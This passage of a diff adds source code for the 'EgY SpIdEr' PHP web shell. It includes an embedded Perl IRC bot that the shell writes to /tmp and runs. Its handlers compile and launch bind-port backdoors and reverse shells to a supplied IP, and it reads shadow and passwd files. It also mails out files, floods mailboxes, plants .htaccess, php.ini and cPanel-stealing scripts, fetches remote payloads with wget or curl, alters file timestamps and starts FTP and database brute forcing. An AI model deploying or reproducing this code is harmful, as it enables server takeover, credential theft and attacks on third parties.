+
+
+# DCC
+#########################
+
+
+package DCC;
+
+
+sub connections {
+ my @ready = \$dcc_sel->can_read(1);
+# return unless (@ready);
+ foreach my \$fh (@ready) {
+ my \$dcctipo = \$DCC{\$fh}{tipo};
+ my \$arquivo = \$DCC{\$fh}{arquivo};
+ my \$bytes = \$DCC{\$fh}{bytes};
+ my \$cur_byte = \$DCC{\$fh}{curbyte};
+ my \$nick = \$DCC{\$fh}{nick};
+
+
+
+
+ my \$msg;
+ my \$nread = sysread(\$fh, \$msg, 10240);
+
+
+ if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) {
+ \$DCC{\$fh}{status} = \"Cancelado\";
+ \$DCC{\$fh}{ftime} = time;
+ \$dcc_sel->remove(\$fh);
+ \$fh->close;
+ next;
+ }
+
+
+ if (\$dcctipo eq \"get\") {
+ \$DCC{\$fh}{curbyte} += length(\$msg);
+
+
+ my \$cur_byte = \$DCC{\$fh}{curbyte};
+
+
+ open(FILE, \">> \$arquivo\");
+ print FILE \"\$msg\" if (\$cur_byte <= \$bytes);
+ close(FILE);
+
+
+ my \$packbyte = pack(\"N\", \$cur_byte);
+ print \$fh \"\$packbyte\";
+
+
+
+
+ if (\$bytes == \$cur_byte) {
+ \$dcc_sel->remove(\$fh);
+ \$fh->close;
+ \$DCC{\$fh}{status} = \"Recebido\";
+ \$DCC{\$fh}{ftime} = time;
+ next;
+ }
+ } elsif (\$dcctipo eq \"send\") {
+ my \$send = \$fh->accept;
+ \$send->autoflush(1);
+ \$dcc_sel->add(\$send);
+ \$dcc_sel->remove(\$fh);
+ \$DCC{\$send}{tipo} = 'sendcon';
+ \$DCC{\$send}{itime} = time;
+ \$DCC{\$send}{nick} = \$nick;
+ \$DCC{\$send}{bytes} = \$bytes;
+ \$DCC{\$send}{curbyte} = 0;
+ \$DCC{\$send}{arquivo} = \$arquivo;
+ \$DCC{\$send}{ip} = \$send->peerhost;
+ \$DCC{\$send}{porta} = \$send->peerport;
+ \$DCC{\$send}{status} = \"Enviando\";
+ #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
+ open(FILE, \"< \$arquivo\");
+ my \$fbytes;
+ read(FILE, \$fbytes, 1024);
+ print \$send \"\$fbytes\";
+ close FILE;
+# delete(\$DCC{\$fh});
+} elsif (\$dcctipo eq 'sendcon') {
+ my \$bytes_sended = unpack(\"N\", \$msg);
+ \$DCC{\$fh}{curbyte} = \$bytes_sended;
+ if (\$bytes_sended == \$bytes) {
+ \$fh->close;
+ \$dcc_sel->remove(\$fh);
+ \$DCC{\$fh}{status} = \"Enviado\";
+ \$DCC{\$fh}{ftime} = time;
+ next;
+ }
+ open(SENDFILE, \"< \$arquivo\");
+ seek(SENDFILE, \$bytes_sended, 0);
+ my \$send_bytes;
+ read(SENDFILE, \$send_bytes, 1024);
+ print \$fh \"\$send_bytes\";
+ close(SENDFILE);
+ }
+ }
+}
+##########################
+
+
+sub SEND {
+ my (\$nick, \$arquivo) = @_;
+ unless (-r \"\$arquivo\") {
+ return(0);
+ }
+
+
+ my \$dccark = \$arquivo;
+ \$dccark =~ s/[.*\/](\S+)/$1/;
+
+
+ my \$meuip = $::irc_servers{\"$::IRC_cur_socket\"}{'meuip'};
+ my \$longip = unpack(\"N\",inet_aton(\$meuip));
+
+
+ my @filestat = stat(\$arquivo);
+ my \$size_total=\$filestat[7];
+ if (\$size_total == 0) {
+ return(0);
+ }
+
+
+ my (\$porta, \$sendsock);
+ do {
+ \$porta = int rand(64511);
+ \$porta += 1024;
+ \$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>\$porta, Proto => 'tcp') and \$dcc_sel->add(\$sendsock);
+ } until \$sendsock;
+
+
+ \$DCC{\$sendsock}{tipo} = 'send';
+ \$DCC{\$sendsock}{nick} = \$nick;
+ \$DCC{\$sendsock}{bytes} = \$size_total;
+ \$DCC{\$sendsock}{arquivo} = \$arquivo;
+
+
+ &::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\");
+
+
+}
+
+
+sub GET {
+ my (\$arquivo, \$dcclongip, \$dccporta, \$bytes, \$nick) = @_;
+ return(0) if (-e \"\$arquivo\");
+ if (open(FILE, \"> \$arquivo\")) {
+ close FILE;
+ } else {
+ return(0);
+ }
+
+
+ my \$dccip=fixaddr(\$dcclongip);
+ return(0) if (\$dccporta < 1024 or not defined \$dccip or \$bytes < 1);
+ my \$dccsock = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\$dccip, PeerPort=>\$dccporta, Timeout=>15) or return (0);
+ \$dccsock->autoflush(1);
+ \$dcc_sel->add(\$dccsock);
+ \$DCC{\$dccsock}{tipo} = 'get';
+ \$DCC{\$dccsock}{itime} = time;
+ \$DCC{\$dccsock}{nick} = \$nick;
+ \$DCC{\$dccsock}{bytes} = \$bytes;
+ \$DCC{\$dccsock}{curbyte} = 0;
+ \$DCC{\$dccsock}{arquivo} = \$arquivo;
+ \$DCC{\$dccsock}{ip} = \$dccip;
+ \$DCC{\$dccsock}{porta} = \$dccporta;
+ \$DCC{\$dccsock}{status} = \"Recebendo\";
+}
+############################
+# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
+sub Status {
+ my \$socket = shift;
+ my \$sock_tipo = \$DCC{\$socket}{tipo};
+ unless (lc(\$sock_tipo) eq \"chat\") {
+ my \$nick = \$DCC{\$socket}{nick};
+ my \$arquivo = \$DCC{\$socket}{arquivo};
+ my \$itime = \$DCC{\$socket}{itime};
+ my \$ftime = time;
+ my \$status = \$DCC{\$socket}{status};
+ \$ftime = \$DCC{\$socket}{ftime} if defined(\$DCC{\$socket}{ftime});
+
+
+ my \$d_time = \$ftime-\$itime;
+
+
+ my \$cur_byte = \$DCC{\$socket}{curbyte};
+ my \$bytes_total = \$DCC{\$socket}{bytes};
+
+
+ my \$rate = 0;
+ \$rate = (\$cur_byte/1024)/\$d_time if \$cur_byte > 0;
+ my \$porcen = (\$cur_byte*100)/\$bytes_total;
+
+
+ my (\$r_duv, \$p_duv);
+ if (\$rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
+ \$r_duv = $3; \$r_duv++ if $4 >= 5;
+ \$rate = \"$1\.$2\".\"\$r_duv\";
+ }
+ if (\$porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
+ \$p_duv = $3; \$p_duv++ if $4 >= 5;
+ \$porcen = \"$1\.$2\".\"\$p_duv\";
+ }
+ return(\"\$sock_tipo\",\"\$status\",\"\$nick\",\"\$arquivo\",\"\$bytes_total\", \"\$cur_byte\",\"\$d_time\", \"\$rate\", \"\$porcen\");
+ }
+
+
+ return(0);
+}
+
+
+# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
+sub fixaddr {
+ my (\$address) = @_;
+
+
+ chomp \$address; # just in case, sigh.
+ if (\$address =~ /^\d+$/) {
+ return inet_ntoa(pack \"N\", \$address);
+ } elsif (\$address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
+ return \$address;
+ } elsif (\$address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
+ return inet_ntoa(((gethostbyname(\$address))[4])[0]);
+ } else {
+ return;
+ }
+}
+############################
+";
+$bot = "/tmp/ircs.pl";
+$open = fopen($bot,"w");
+fputs($open,$file);
+fclose($open);
+$cmd="perl $bot";
+$cmd2="rm $bot";
+system($cmd);
+system($cmd2);
+$_POST['cmd']="echo \"Now script try connect to ircserver ...\"";
+
+
+}
+
+
+
+
+if(!isset($_COOKIE[$lang[$language.'_text137']])) {
+ $ust_u='';
+ if($unix && !$safe_mode){
+ foreach ($userful as $item) {
+ if(which($item)){$ust_u.=$item;}
+ }
+ }
+ if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$ust_u.=", mod_perl";}
+ if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$ust_u.=", mod_include(SSI)";}
+ if (@function_exists('pcntl_exec')) {$ust_u.=", pcntl_exec";}
+ if (@extension_loaded('win32std')) {$ust_u.=", win32std_loaded";}
+ if (@extension_loaded('win32service')) {$ust_u.=", win32service_loaded";}
+ if (@extension_loaded('ffi')) {$ust_u.=", ffi_loaded";}
+ if (@extension_loaded('perl')) {$ust_u.=", perl_loaded";}
+ if(substr($ust_u,0,1)==",") {$ust_u[0]="";}
+
+ $ust_u = trim($ust_u);
+}else {
+ $ust_u = trim($_COOKIE[$lang[$language.'_text137']]);
+}
+
+
+if(!isset($_COOKIE[$lang[$language.'_text138']])) {
+ $ust_d='';
+ if($unix && !$safe_mode){
+ foreach ($danger as $item) {
+ if(which($item)){$ust_d.=$item;}
+ }
+ }
+ if(!$safe_mode){
+ foreach ($danger as $item) {
+ if(ps($item)){$ust_d.=$item;}
+ }
+ }
+ if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust_d.=", mod_security";}
+ if(substr($ust_d,0,1)==",") {$ust_d[0]="";}
+
+ $ust_d = trim($ust_d);
+}else {
+ $ust_d = trim($_COOKIE[$lang[$language.'_text138']]);
+}
+
+
+if(!isset($_COOKIE[$lang[$language.'_text142']])) {
+
+
+ $select_downloaders='';
+ if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('file'))){$select_downloaders .= "fopen ";$downloader="fopen";}
+ if($unix && !$safe_mode){
+ foreach ($downloaders as $item) {
+ if(which($item)){$select_downloaders .= ''.$item.' ';$downloader.=", $item";}
+ }
+ }
+ $select_downloaders .= ' ';
+ if(substr($downloader,0,1)==",") {$downloader[0]="";}
+
+ $downloader=trim($downloader);
+
+
+}
+
+
+
+
+echo $head;
+echo '';
+
+
+echo '<'.ws(2).' '.
+
+
+' '.$fe.' '.'';
+echo ws(2)."".date ("d-m-Y H:i:s")." Your IP: [".gethostbyname($_SERVER["REMOTE_ADDR"])." ]";
+echo " X_FORWARDED_FOR:"; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){echo "[".$_SERVER['HTTP_X_FORWARDED_FOR']." ]";}else{echo "[NONE ]";}
+echo " CLIENT_IP: ";if(isset($_SERVER['HTTP_CLIENT_IP'])){echo "[".$_SERVER['HTTP_CLIENT_IP']." ]";}else{echo "[NONE ]";}
+echo " Server IP: [".gethostbyname($_SERVER["HTTP_HOST"])." ]";
+
+
+echo " ";
+
+
+echo ws(2)."PHP Version: ".@phpversion()." ";
+$curl_on = @function_exists('curl_version');
+echo ws(2);
+echo "cURL: ".(($curl_on)?("ON "):("OFF "));
+echo " ".ws(2);
+echo "MySQL: ";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){
+echo "ON "; } else { echo "OFF "; }
+echo " ".ws(2);
+echo "MSSQL: ";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "ON ";}else{echo "OFF ";}
+echo " ".ws(2);
+echo "PostgreSQL: ";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "ON ";}else{echo "OFF ";}
+echo " ".ws(2);
+echo "Oracle: ";
+$ora_on = @function_exists('ocilogon');
+if($ora_on){echo "ON ";}else{echo "OFF ";}
+echo " ".ws(2);
+echo "MySQLi: ";
+$mysqli_on = @function_exists('mysqli_connect');
+if($mysqli_on){echo "ON ";}else{echo "OFF ";}
+echo " ".ws(2);
+echo "MSQL: ";
+$msql_on = @function_exists('msql_connect');
+if($msql_on){echo "ON ";}else{echo "OFF ";}
+echo " ".ws(2);
+echo "SQLite: ";
+$sqlite_on = @function_exists('sqlite_open');
+if($sqlite_on){echo "ON ";}else{echo "OFF ";}
+echo " ".ws(2);
+
+
+echo "Safe_Mode: ";
+echo (($safe_mode)?("ON "):("OFF "));
+echo " ".ws(2);
+echo "Open_Basedir: ";
+if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "ini_get disable! ";}else {echo "$df ";};}
+else {echo "NONE ";}
+echo ws(2)."Safe_Exec_Dir: ";
+if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "NONE ";}else {echo "$df ";};}
+else {echo "ini_get disable! ";}
+echo ws(2)."Safe_Gid: ";
+if(@function_exists('ini_get')) { if (@ini_get('safe_mode_gid')) {echo "ON ";}else {echo "OFF ";};}
+else {echo "ini_get disable! ";}
+echo ws(2)."Safe_Include_Dir: ";
+if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "NONE ";}else {echo "$df ";};}
+else {echo "ini_get disable! ";}
+echo ws(2)."Sql.safe_mode: ";
+if(@function_exists('ini_get')) { if (@ini_get('sql.safe_mode')) {echo "ON ";}else {echo "OFF ";};}
+else {echo "ini_get disable! ";}
+
+
+echo " ".ws(2);
+echo "Disable Functions : ";$df='ini_get disable!';
+if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "NONE ";}else{echo "$df ";}
+
+
+if(@function_exists('diskfreespace')){$free = @diskfreespace($dir);}
+elseif(@function_exists('disk_free_space')){$free = @disk_free_space($dir);}else{$free = 'Unknown';}
+if (!$free) {$free = 0;}
+$all = @disk_total_space($dir);
+if (!$all) {$all = 0;}
+echo " ".ws(2)."Free Space : ".view_size($free)." Total Space: ".view_size($all)." ";
+
+
+
+
+if($ust_u){echo " ".ws(2).$lang[$language.'_text137'].": ".$ust_u." ";};
+
+
+if($ust_d){echo " ".ws(2).$lang[$language.'_text138'].": ".$ust_d." ";};
+
+
+if($downloader){echo " ".ws(2).$lang[$language.'_text142'].": ".$downloader." ";};
+
+
+
+
+echo " ".ws(2)."";
+echo ws(2).$lb." Home ".$rb;
+echo ws(2).$lb." About EgY SpIdEr ".$rb;
+echo ws(2).$lb." News ".$rb;
+echo ws(2).$lb." Logout ".$rb;
+echo ws(2).$lb." Feedback & Contact Me ".$rb;
+echo ws(2).$lb." Quick index ".$rb;
+echo ws(2).$lb." Mass Code Injection ".$rb;
+echo ws(2).$lb." File source ".$rb;
+echo ws(2).$lb." Zone-h ".$rb;
+echo ws(2).$lb." Hash Tools ".$rb;
+echo ws(2).$lb." PhpInfo ".$rb;
+echo ws(2).$lb." Php.Ini ".$rb;
+echo ws(2).$lb." Cpu ".$rb;
+if(!$unix) {
+ echo ws(2).$lb." SystemInfo ".$rb;
+}else{
+ echo ws(2).$lb." Syslog ".$rb;
+ echo ws(2).$lb." Resolv ".$rb;
+ echo ws(2).$lb." Hosts ".$rb;
+ echo ws(2).$lb." Shadow ".$rb;
+ echo ws(2).$lb." Passwd ".$rb;
+}
+echo ws(2).$lb." Tmp ".$rb;
+echo ws(2).$lb." Delete ".$rb;
+
+
+if($unix && !$safe_mode)
+{
+ echo " ".ws(2)."";
+ echo ws(2).$lb." Procinfo ".$rb;
+ echo ws(2).$lb." Version ".$rb;
+ echo ws(2).$lb." Free ".$rb;
+ echo ws(2).$lb." Dmesg ".$rb;
+ echo ws(2).$lb." Vmstat ".$rb;
+ echo ws(2).$lb." lspci ".$rb;
+ echo ws(2).$lb." lsdev ".$rb;
+ echo ws(2).$lb." Interrupts ".$rb;
+ echo ws(2).$lb." Realise1 ".$rb;
+ echo ws(2).$lb." Realise2 ".$rb;
+ echo ws(2).$lb." lsattr ".$rb;
+
+
+ echo " ".ws(2)."";
+ echo ws(2).$lb." W ".$rb;
+ echo ws(2).$lb." Who ".$rb;
+ echo ws(2).$lb." Uptime ".$rb;
+ echo ws(2).$lb." Last ".$rb;
+ echo ws(2).$lb." Ps Aux ".$rb;
+ echo ws(2).$lb." Service ".$rb;
+ echo ws(2).$lb." Ifconfig ".$rb;
+ echo ws(2).$lb." Netstat ".$rb;
+ echo ws(2).$lb." Fstab ".$rb;
+ echo ws(2).$lb." Fdisk ".$rb;
+ echo ws(2).$lb." df -h ".$rb;
+}
+
+
+echo '
+
+';
+echo $font;
+
+
+if($unix){
+echo 'uname -a :'.ws(1).' sysctl :'.ws(1).' $OSTYPE :'.ws(1).' Server :'.ws(1).' id :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+echo((!empty($uname))?(ws(3).@substr($uname,0,120)." "):(ws(3).@substr(@php_uname(),0,120)." "));
+echo ws(3).ex('echo $OSTYPE')." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+if(!empty($id)) { echo ws(3).$id." "; }
+else if(@function_exists('posix_geteuid') && @function_exists('posix_getegid') && @function_exists('posix_getgrgid') && @function_exists('posix_getpwuid'))
+ {
+ $euserinfo = @posix_getpwuid(@posix_geteuid());
+ $egroupinfo = @posix_getgrgid(@posix_getegid());
+ echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' ) ';
+ }
+else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()." ";
+echo ws(3).$dir;
+echo ws(3).'( '.perms(@fileperms($dir)).' )';
+echo " ";
+}
+else
+{
+echo 'OS :'.ws(1).' Server :'.ws(1).' User :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+echo ws(3).@substr(@php_uname(),0,120)." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+echo ws(3).@getenv("USERNAME")." ";
+echo ws(3).$dir;
+echo " ";
+}
+echo "";
+echo "
";
+
+
+
+
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
+ {
+ $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
+ err(6+$res);
+ $_POST['cmd']="";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
+ {
+ if($file=moreread($_POST['loc_file'])){ $filedump = $file; }
+ else if ($file=readzlib($_POST['loc_file'])) { $filedump = $file; } else { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
+ if(!empty($_POST['cmd']))
+ {
+ $filename = @basename($_POST['loc_file']);
+ $content_encoding=$mime_type='';
+ compress($filename,$filedump,$_POST['compress']);
+ $attach = array(
+ "name"=>$filename,
+ "type"=>$mime_type,
+ "content"=>$filedump
+ );
+ if(empty($_POST['subj'])) { $_POST['subj'] = 'file from egy spider shell'; }
+ if(empty($_POST['from'])) { $_POST['from'] = 'egy_spider@hotmail.com'; }
+ $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
+ err(6+$res);
+ $_POST['cmd']="";
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_bomber" && !empty($_POST['mail_flood']) && !empty($_POST['mail_size']))
+ {
+ for($h=1;$h<=$_POST['mail_flood'];$h++){
+ $res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ", 1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n");
+ }
+ err(6+$res);
+ $_POST['cmd']="";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
+{
+$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
+}
+if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
+ {
+ switch($_POST['what'])
+ {
+ case 'own':
+ @chown($_POST['param1'],$_POST['param2']);
+ break;
+ case 'grp':
+ @chgrp($_POST['param1'],$_POST['param2']);
+ break;
+ case 'mod':
+ @chmod($_POST['param1'],intval($_POST['param2'], 8));
+ break;
+ }
+ $_POST['cmd']="";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
+ {
+ switch($_POST['what'])
+ {
+ case 'file':
+ if($_POST['action'] == "create")
+ {
+ if(@file_exists($_POST['mk_name']) || !morewrite($_POST['mk_name'],'your text here')) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
+ else {
+ $_POST['e_name'] = $_POST['mk_name'];
+ $_POST['cmd']="edit_file";
+ echo "".$lang[$language.'_text61']."
";
+ }
+ }
+ else if($_POST['action'] == "delete")
+ {
+ if(@unlink($_POST['mk_name'])) echo "".$lang[$language.'_text63']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ case 'dir':
+ if($_POST['action'] == "create"){
+ if(@mkdir($_POST['mk_name']))
+ {
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text62']."
";
+ }
+ else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
+ }
+ else if($_POST['action'] == "delete"){
+ if(@rmdir($_POST['mk_name'])) echo "".$lang[$language.'_text64']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ }
+ }
+
+
+
+
+if(!empty($_POST['cmd']) && $_POST['cmd']=="touch")
+{
+if(!$_POST['file_name_r'])
+ {
+ $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
+ $datar = @strtotime($datar);
+ @touch($_POST['file_name'],$datar,$datar);}
+else{
+ @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r']));
+}
+$_POST['cmd']="";
+}
+
+
+
+
+if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
+ {
+ if(@is_dir($_POST['e_name'])){ err(1,$_POST['e_name']); $_POST['cmd']=""; }
+ elseif($file=moreread($_POST['e_name'])) { $filedump = $file; if(!@is_writable($_POST['e_name'])) { $only_read = 1; }; }
+ elseif($file=readzlib($_POST['e_name'])) { $filedump = $file; $only_read = 1; }
+ elseif(@file_exists($_POST['e_name'])) {$filedump = 'NONE'; if(!@is_writable($_POST['e_name'])) { $only_read = 1; };}
+ else { err(1,$_POST['e_name']); $_POST['cmd']=""; }
+ if(!empty($_POST['cmd']))
+ {
+ echo $table_up3;
+ echo $font;
+ echo "";
+ echo "
";
+ exit();
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
+ {
+ $mtime = @filemtime($_POST['e_name']);
+ if(!@is_writable($_POST['e_name'])) { err(0,$_POST['e_name']); }
+ else {
+ if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
+ morewrite($_POST['e_name'],$_POST['e_text']);
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text45']."
";
+ }
+ @touch($_POST['e_name'],$mtime,$mtime);
+ }
+
+
+
+if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
+{
+ cf($tempdir.'prxpl',$prx_pl);
+ $p2=which("perl");
+ $blah = ex($p2.' '.$tempdir.'prxpl '.$_POST['proxy_port'].' &');
+ @unlink($tempdir.'prxpl');
+ $_POST['cmd']="ps -aux | grep prxpl";
+}
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
+{
+ cf($tempdir.'bd.c',$port_bind_bd_c);
+ $blah = ex('gcc -o '.$tempdir.'bd '.$tempdir.'bd.c');
+ @unlink($tempdir.'bd.c');
+ $blah = ex($tempdir.'bd '.$_POST['port'].' '.$_POST['bind_pass'].' &');
+ @unlink($tempdir.'bd');
+ $_POST['cmd']="ps -aux | grep bd";
+}
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
+{
+ cf($tempdir.'bdpl',$port_bind_bd_pl);
+ $p2=which("perl");
+ $blah = ex($p2.' '.$tempdir.'bdpl '.$_POST['port'].' &');
+ @unlink($tempdir.'bdpl');
+ $_POST['cmd']="ps -aux | grep bdpl";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
+{
+ cf($tempdir.'back',$back_connect);
+ $p2=which("perl");
+ $blah = ex($p2.' '.$tempdir.'back '.$_POST['ip'].' '.$_POST['port'].' &');
+ @unlink($tempdir.'back');
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
+{
+ cf($tempdir.'back.c',$back_connect_c);
+ $blah = ex('gcc -o '.$tempdir.'backc '.$tempdir.'back.c');
+ @unlink($tempdir.'back.c');
+ $blah = ex($tempdir.'backc '.$_POST['ip'].' '.$_POST['port'].' &');
+ @unlink($tempdir.'back');
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
+{
+ cf($tempdir.'dp',$datapipe_pl);
+ $p2=which("perl");
+ $blah = ex($p2.' '.$tempdir.'dp '.$_POST['local_port'].' '.$_POST['remote_host'].' '.$_POST['remote_port'].' &');
+ @unlink($tempdir.'dp');
+ $_POST['cmd']="ps -aux | grep dp";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
+{
+ cf($tempdir.'dpc.c',$datapipe_c);
+ $blah = ex('gcc -o '.$tempdir.'dpc '.$tempdir.'dpc.c');
+ @unlink($tempdir.'dpc.c');
+ $blah = ex($tempdir.'dpc '.$_POST['local_port'].' '.$_POST['remote_port'].' '.$_POST['remote_host'].' &');
+ @unlink($tempdir.'dpc');
+ $_POST['cmd']="ps -aux | grep dpc";
+}
+
+
+if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
+
+
+for($upl=0;$upl<=16;$upl++)
+{
+ if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){
+ if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; }
+ else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; }
+ @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn)
+ or print("Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."
");
+ }
+}
+if (!empty($_POST['port1']))
+{
+ cf("bds",$port_bind_bd_cs);
+ $blah = ex("chmod 777 bds");
+ $blah = ex("./bds ".$_POST['port1']." &");
+ $_POST['cmd']="echo \"Now script install backdoor connect to port ";
+ }else{
+cf("/tmp/bds",$port_bind_bd_cs);
+ $blah = ex("chmod 777 bds");
+ }
+if (!empty($_POST['php_ini1']))
+{
+ cf("php.ini",$egy_ini);
+ $_POST['cmd']=" now make incloude for file ini.php and add ss and your shell";
+ }
+
+
+ if (!empty($_POST['htacces']))
+{
+ cf(".htaccess",$htacces);
+ $_POST['cmd']="now .htaccess has been add";
+ }
+ if (!empty($_POST['egy_res']))
+{
+ cf(".ini.php",$egy_res);
+ $_POST['cmd']="now .htaccess has been add";
+ }
+ if (!empty($_POST['egy_ini']))
+{
+ cf("ini.php",$egy_ini);
+
+
+
+ $_POST['cmd']=" http://target.com/ini.php?egy=http://shell.txt? add ss ini.php now make incloude for file ini.php and add egy and your shell";
+ }
+
+
+ if (!empty($_POST['egy_cp']))
+{
+ cf("pass_cpanel.php",$egy_cp);
+ $_POST['cmd']="cpanel add";
+ }
+
+
+ if (!empty($_POST['egy_vb']))
+{
+ cf("vb_hacker.php",$egy_vb);
+ $_POST['cmd']="Added Following Files .htaccess & ini.php & vb_hacker.php & pass_cpanel.php ";
+ }
+
+if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
+
+
+for($upl=0;$upl<=16;$upl++)
+{
+
+
+}
+
+
+if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
+{
+ switch($_POST['with'])
+ {
+ case 'fopen':
+ $datafile = @implode("", @file($_POST['rem_file']));
+ if($datafile)
+ {
+ if(!morewrite($_POST['loc_file'],$datafile)){ err(0);};
+ }
+
+
+ $_POST['cmd'] = '';
+ break;
+ case 'wget':
+ $_POST['cmd'] = which('wget')." \"".$_POST['rem_file']."\" -O \"".$_POST['loc_file']."\"";
+ break;
+ case 'fetch':
+ $_POST['cmd'] = which('fetch')." -p \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\"";
+ break;
+ case 'lynx':
+ $_POST['cmd'] = which('lynx')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
+ break;
+ case 'links':
+ $_POST['cmd'] = which('links')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
+ break;
+ case 'GET':
+ $_POST['cmd'] = which('GET')." \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
+ break;
+ case 'curl':
+ $_POST['cmd'] = which('curl')." \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\"";
+ break;
+ }
+}
+if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_file_up") || ($_POST['cmd']=="ftp_file_down")))
+ {
+ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
+ if(empty($ftp_port)) { $ftp_port = 21; }
+ $connection = @ftp_connect ($ftp_server,$ftp_port,10);
+ if(!$connection) { err(3); }
+ else
+ {
+ if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
+ else
+ {
+ if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);}
+ if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);}
+ }
+ }
+ @ftp_close($connection);
+ $_POST['cmd'] = "";
+ }
+
+
+if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") || ($_POST['cmd']=="db_brute")))
+ {
+ if($_POST['cmd']=="ftp_brute"){
